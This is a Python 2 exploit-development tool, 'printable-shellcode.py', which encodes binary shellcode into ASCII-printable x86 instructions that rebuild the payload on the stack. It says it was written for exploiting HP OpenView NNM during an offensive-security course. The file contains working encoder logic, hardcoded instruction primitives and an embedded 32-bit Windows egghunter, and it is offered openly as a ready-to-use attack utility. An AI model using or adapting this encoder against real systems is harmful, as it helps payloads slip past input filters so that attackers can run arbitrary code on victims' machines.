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ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
# ESP value to the EAX, then by adding to the EAX value 0x16CA then by
# setting ESP with such resulted EAX. It means that the final decoded shellcode
# will get stored in the stack, by 0x16CA bytes away from current stack address.
#
# Obviously, this encoder will not be working under DEP/W^X environments.
#
# Written for HP OpenView NNM exploitation purpose, during
# Offensive-Security CTP / OSCE course.
#
# Mariusz B. / mgeeky, '17
#
import random
import struct
import ctypes
import sys
# ================================================
# OPTIONS
# ================================================
# Characters that are safe to use in encoded payload.
VALID_CHARS = "01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-*\\%"
# Be more verbose.
DEBUG = False
# Set it to True in order to always prepend ZERO-EAX primitive before
# sequence of SUB operations. The `gen` routine will then operate on
# previous value being always 0x00000000 instead of previously held in
# EAX value. The side effect of this setting is increased payload length.
PREPEND_ZERO_OUT = False
# ================================================
MAX_NUM = 128
primitives = {
# Zeros-out the EAX register
# 25 4a4f4e45 AND EAX,454e4f4a
# 25 3530313a AND EAX,3a313035
#'zero-eax' : '%JONE%501:',
# Zeros-out the EAX register
# 25 4A4D4E55 AND EAX,554E4D4A
# 25 3532312A AND EAX,2A313235
'zero-eax': '%JMNU%521*',
# Aligns a stack address that the EAX will take, by
# adding value of 0x1688 to the EAX register
# 2D 41373737 SUB EAX, 37373741
# 2D 69252525 SUB EAX, 25252569
# 2D 72324949 SUB EAX, 49493272
# 2D 5C5A5A5A SUB EAX, 5A5A5A5C
'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ',
# Sets ESP (stack pointer) to EAX
# 50 PUSH EAX
# 5c POP ESP
'set-esp-to-eax' : 'P\\',
# Sets EAX to ESP
# 54 PUSH ESP
# 58 POP EAX
'set-eax-to-esp' : 'TX',
# ASCII friendly NOP equivalent
# 47 INC EDI
'nop' : 'G',
# Stores resulted EAX value on the stack
# 50 PUSH EAX
'store-on-stack' : 'P',
}
class InvalidCharResulted(Exception):
pass
def dbg(x, raw = False):
if DEBUG:
if raw:
print x
else:
print '[dbg] ' + x
def compose(num):
ret = 0
ret |= num[3] << 24
ret |= num[2] << 16
ret |= num[1] << 8
ret |= num[0]
return ret
def decompose(num):
decompose = [0, 0, 0, 0]
decompose[0] = (num & 0x000000ff)
decompose[1] = (num & 0x0000ff00) >> 8
decompose[2] = (num & 0x00ff0000) >> 16
decompose[3] = (num & 0xff000000) >> 24
return decompose
def strfry(item):
return ''.join([str(w) for w in random.sample(item, len(item))])
def strfrylist(item):
x = list(item)
random.shuffle(x)
return x
# Original algorithm designed by Jon Erickson, <matrix@phiral.com>
# Heavily modified by the author of this program.
def gen(dword, prev, alphabet):
chrs_len = len(alphabet)
t = decompose(dword)
l = decompose(prev)
p = [0 for i in range(MAX_NUM)]
q = [0 for i in range(MAX_NUM)]
r = [0 for i in range(MAX_NUM)]
s = [0 for i in range(MAX_NUM)]
# Initializing index tables
for a in range(chrs_len):
p[a] = q[a] = r[a] = s[a] = a + 1
# Shuffling index tables
p = strfrylist(p)
q = strfrylist(q)
r = strfrylist(r)
s = strfrylist(s)
#pr = strfrylist(list(alphabet[:20]))
pr = [chr(0) for c in range(20)]
# Coefficients = subsequent bytes forming a DWORDs that will be
# used as arguments in SUB operations. coeffs[0] stands for the
# first SUB's argument, coeffs[1] for the second SUB's argument and so on.
coeffs = [
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0]
]
# 0x2D - SUB opcode. Here we construct a template:
# [ ..., 0x2d, AA, BB, CC, DD, ...] where AA,BB,CC,DD will be argument
# bytes to fill in.
pr[0] = pr[5] = pr[10] = pr[15] = chr(0x2D)
# Construct from 1 to 5 at max consecutive SUB operations
for a in range(1, 5):
carry = 0
flag = [0, 0, 0, 0]
# Iterate over bytes 0...3 composing full 32-bit DWORD
for z in range(4):
loop_next = 0
# Iterate over possible indexes of the first byte within argument
for i in range(chrs_len):
# Iterate over possible indexes of the second byte within argument
for j in range(chrs_len):
for k in range(chrs_len):
for m in range(chrs_len):
# We get random byte from valid chars charset at currently
# processed positions.
x1 = alphabet[p[i] - 1]
x2 = alphabet[q[j] - 1]
x3 = alphabet[r[k] - 1]
x4 = alphabet[s[m] - 1]
# t[z] - Desired[z], the target byte we are looking for
# l[z] - Previous[z], the previous byte on this position.
# Desired[z] = Previous[z] - Carry - A[z] - B[z] - C[z] - D[z]
# Previous[z] = Desired[z] + Carry + A[z] + B[z] + C[z] + D[z]
tr = ctypes.c_uint32( t[z] + carry \
+ ord(x1) + ord(x2) \
+ ord(x3) + ord(x4)).value
# If sum result equals to our previous byte at this position -
# we have a hit.
if (tr & 0xff) == l[z]:
# Resulted value, in `tr` might be easily something like: 0x175
# then the carry will be 0x01
carry = (tr & 0xff00) >> 8
# We hit bytes forming a good looking DWORD (32 bit value), therefore
# we store that value for later considerations
if i < chrs_len:
pr[ 1 + z] = x1
coeffs[0][z] = ord(x1)
if j < chrs_len:
pr[ 6 + z] = x2
coeffs[1][z] = ord(x2)
if k < chrs_len:
pr[11 + z] = x3
coeffs[2][z] = ord(x3)
if m < chrs_len:
pr[16 + z] = x4
coeffs[3][z] = ord(x4)
dbg('try = %x, l[%d] = %x, t[%d] = %x, coeffs = %s' % \
(tr, z, l[z], z, t[z], str(coeffs)))
loop_next = 1
# We mark that we have already found a good values for that `z` position.
flag[z] = 1
if a < 4 or loop_next: break
if a < 3 or loop_next: break
if a < 2 or loop_next: break
# Have we found already all 4 byte candidates?
if sum(flag) == 4:
dbg('flag=%s, a=%d, z=%d, i=%d, j=%d, k=%d, m=%d' % (flag,a,z,i,j,k,m))
break
assert sum(flag) == 4, "Could not generate computation instructions for this dword: 0x%08x" % dword
dbg('Coeffs before fixups = %s' % (str(coeffs)))
# Now we need to check whether the above algorithm did not fell into local optimum
# and didn't yielded some slightly varying values. We will retry 5 times values fixups.
ctr = 0
while ctr < 5:
ctr += 1
dbg('Fixup attempt %d: gen(0x%08x, 0x%08x, ...): "%s"' % \
(ctr, dword, prev, ''.join(['%02x' % ord(c) for c in pr])))
# Now we print assembler interpretation of collected coefficients
val = prev
dbg('\n\t\t\t\t; EAX = 0x%08x' % val, True)
for n in coeffs:
num = compose(n)
val = ctypes.c_uint32(val - num).value
dbg('\tSUB EAX, 0x%08x\t; EAX = 0x%08x' % (num, val), True)
# oops, the resutled from substraction value is not matching desired one.
# we will have to fixup bytes that differ and retry verification process.
if val != dword:
dbg('in attempt #%d values do not match: 0x%08x != 0x%08x' % (ctr,val,dword))
valdec = decompose(ctypes.c_uint32(val).value )
dworddec = decompose(ctypes.c_uint32(dword).value)
# We check each of the four bytes whether they differ from desired.
for i in range(4):
if valdec[i] != dworddec[i]:
dbg('byte %d needs fixing %02x => %02x' % (i, valdec[i], dworddec[i]))
# Since they differ, we fixup them
diff = valdec[i] - dworddec[i]
pr[16 + i] = chr(ord(pr[16 + i]) + diff)
coeffs[3][i] += diff
# Resulted byte after applied fixup outlies our VALID_CHARS charset,
# we could have re-invoke the gen() routine here, but it will be easier
# to just quit and try again from the scratch.
if pr[16 + i] not in VALID_CHARS:
raise InvalidCharResulted(pr[16+i])
else:
dbg('Values match perfectly: 0x%08x == 0x%08x' % (val, dword))
break
if val != dword:
print '\n[!] COMPUTATION FAILURE: 0x%08x != 0x%08x' % (val, dword)
sys.exit(-1)
ret = ''.join(pr)
return ret
def process(inp, prepend_init = True):
size = len(inp)
pad = 4 - (size % 4)
if pad == 4: pad = 0
alphabet = strfry(VALID_CHARS)
# Build up initial payload's stub
out = ''
if prepend_init:
out += primitives['zero-eax']
out += primitives['set-eax-to-esp']
out += primitives['eax-stack-align']
out += primitives['set-esp-to-eax']
if not PREPEND_ZERO_OUT:
out += primitives['zero-eax']
buf = inp + '\x90' * pad
assert len(buf) % 4 == 0, "Working buffer must be divisble by 4!"
prev = 0
# Iterate over every next four bytes grouped values (DWORDs)
for i in range(len(buf), 0, -4):
dword = struct.unpack('<I', buf[i-4:i])[0]
alphabet = strfry(alphabet)
instr = gen(dword, prev, alphabet)
if PREPEND_ZERO_OUT:
prev = 0
out += primitives['zero-eax']
else:
prev = dword
out += instr + primitives['store-on-stack']
return out
def usage():
print '''
:: printable-shellcode.py - Utility generating a ASCII-printable shellcode
out of provided binary file (ASCII encoder).
Mariusz B. / mgeeky, '17
Algorithm based on terrific `dissembler` tool by Phiral Research Labs,
by Jon Erickson <matrix@phiral.com>
Usage:
printable-shellcode.py <input-file|0xValue> <output-file>
Where:
input-file - input file containing shellcode, '-' for stdin or 'EGG' for
standard T00WT00W 32-bit windows egghunter
0xValue - single DWORD value, prepended with 0x to encode.
output-file - file to store result of ASCII encoding, or '-' for stdout
'''
def display_output(out):
print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out))
print
print '-' * 80
print out
print '-' * 80
print
print '[+] HEX FORM:'
print ''.join(['%02x' % ord(c) for c in out])
print
print '[+] ESCAPED-HEX FORM:'
print ''.join(['\\x%02x' % ord(c) for c in out])
print
print '[+] PYTHON COMPACT SEXY FORM:'
buf = '\tshellcode += r"'
for i in range(len(out)):
if i % 20 == 0 and i > 0:
buf += '"\n\tshellcode += r"'
buf += out[i]
buf += '"'
print buf
def primitives_precheck():
failed = False
for k, v in primitives.items():
for c in v:
if c not in VALID_CHARS:
print '[!] ERROR: Primitive "%s" contains illegal character in it: (0x%02x, "%c")' % (k, ord(c), c)
print '[!] It means you will have to find a suitable primitive yourself and modify the `primitives` dictionary within this script.'
print
failed = True
return not failed
def main():
if len(sys.argv) != 3:
if len(sys.argv) == 2 and sys.argv[1].startswith('0x'):
pass
else:
usage()
return False
if not primitives_precheck():
return False
input_bytes = []
prepend_init = True
if sys.argv[1] == '-':
input_bytes = sys.stdin.read()
elif sys.argv[1].startswith('0x'):
input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))])
prepend_init = False
elif sys.argv[1] == 'EGG':
input_bytes = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
else:
with open(sys.argv[1], 'rb') as f:
input_bytes = f.read()
print '[*] Input buffer size: %d bytes.' % (len(input_bytes))
i = 0
success = False
while i < 3:
try:
out = process(input_bytes, prepend_init)
if out:
success = True
display_output(out)
if len(sys.argv) > 2 and sys.argv[2] != '-':
with open(sys.argv[2], 'wb') as f:
f.write(out)
else:
print '[?] Returned empty payload. Confused...'
break
except InvalidCharResulted as pr:
print '[!] Inter-bytes difference resulted too big rendering invalid char (%x, "%c"). Restarting...' % (ord(str(pr)), str(pr))
continue
if not success:
print '[!] PROGRAM FAILURE.'
if __name__ == '__main__':
main()
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